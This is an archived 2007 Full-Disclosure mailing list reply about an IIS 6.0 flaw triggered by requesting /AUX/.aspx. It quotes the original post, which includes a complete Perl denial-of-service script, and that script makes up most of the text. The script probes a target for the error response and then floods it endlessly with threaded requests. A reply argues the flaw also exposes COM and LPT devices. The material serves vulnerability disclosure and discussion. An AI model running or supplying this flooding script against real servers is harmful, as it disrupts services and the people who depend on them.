PDA

Bekijk Volledige Versie : Re: [Full-disclosure] Question Regarding IIS 6.0 / Is this a DoS???



3APA3A
24/05/07, 13:14
Dear kingcope,

It's vulnerability regardless of DoS impact, because it allows attacker
to access special DOS devices (COM1 in this case). E.g. it could be used
to read data from device attached to COM1 or prevent another application
from accessing this port (or LPT), because access to ports is exclusive.

--Tuesday, May 22, 2007, 9:10:08 AM, you wrote to full-disclosure@lists.g=
rok.org.uk:

k> Hello List,

k> Recently I saw a small bug in IIS 6.0 when requesting a special path.
k> When I request /AUX/.aspx the server takes a bit longer to respond as
k> Normally. So I did write an automated script to see what happens if
k> I request this file several times at once. The result is that some ser=
vers
k> On the internet get quite instable, some do not. On some servers after=
I
k> Stop the attack I get an exception that the Server is too busy/Unhandl=
ed
k> Exception on the wwwroot (/) path.
k> Can you/the list confirm that?

k> Here is a lame testing script for this stuff:





k> #When sending multiple parallel GET requests to a IIS 6.0 server reque=
sting
k> #/AUX/.aspx the server gets instable and non responsive. This happens =
only
k> #to servers which respond a runtime error (System.Web.HttpException)
k> #and take two or more seconds to respond to the /AUX/.aspx GET request=
..
k> #
k> #
k> #signed,
k> #Kingcope kingcope@gmx.net
k> ################################################## ####################=
####
k> ###*********************************************** ********************=
****
k> ###
k> ###
k> ###
k> ### Lame Internet Information Server 6.0 Denial Of Service (nonpermane=
nt)
k> ### by Kingcope, May/2007
k> ### Better run this from a Linux system
k> ################################################## ####################=
####

k> use IO::Socket;
k> use threads;

k> if ($ARGV[0] eq "") { exit; }
k> my $host =3D $ARGV[0];

k> $|=3D1;

k> sub sendit {
k> $sock =3D IO::Socket::INET->new(PeerAddr =3D> $host,
k> PeerPort =3D> 'http(80)',
k> Proto =3D> 'tcp');

k> print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
k> $host\r\nConnection:close\r\n\r\n";
k> }

k> $sock =3D IO::Socket::INET->new(PeerAddr =3D> $host,
k> PeerPort =3D> 'http(80)',
k> Proto =3D> 'tcp');

k> print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
k> $host\r\nConnection:close\r\n\r\n";

k> $k=3D0;
k> while (<$sock>) {
k> if (($_ =3D~ /Runtime\sError/) || ($_ =3D~ /HttpException/)) {
k> $k=3D1;
k> last;
k> }
k> }

k> if ($k=3D=3D0) {
k> print "Server does not seem vulnerable to this attack.\n";
k> exit;=09
k> }

k> print "ATTACK!\n";

k> while(1){

k> for (my $i=3D0;$i<=3D100;$i++) {
k> $thr =3D threads->new(\&sendit);
k> print "\r\r\r$i/100 ";
k> }

k> foreach $thr (threads->list) {
k> $thr->join;
k> }
k> }


k> _______________________________________________
k> Full-Disclosure - We believe in it.
k> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
k> Hosted and sponsored by Secunia - http://secunia.com/


--=20
~/ZARAZA http://securityvulns.com/
=C8=E1=EE =F4=E0=EA=F2=FB =E5=F1=F2=FC =F4=E0=EA=F2=FB, =E8 =E8=E7=EB=EE=E6=
=E5=ED=FB =EE=ED=E8 =EB=E8=F8=FC =E4=EB=FF =F2=EE=E3=EE, =F7=F2=EE=E1=FB =
=E8=F5 =EF=EE=ED=FF=EB=E8 =E8 =E2 =ED=E8=F5 =EF=EE=E2=E5=F0=E8=EB=E8. (=D2=
=E2=E5=ED)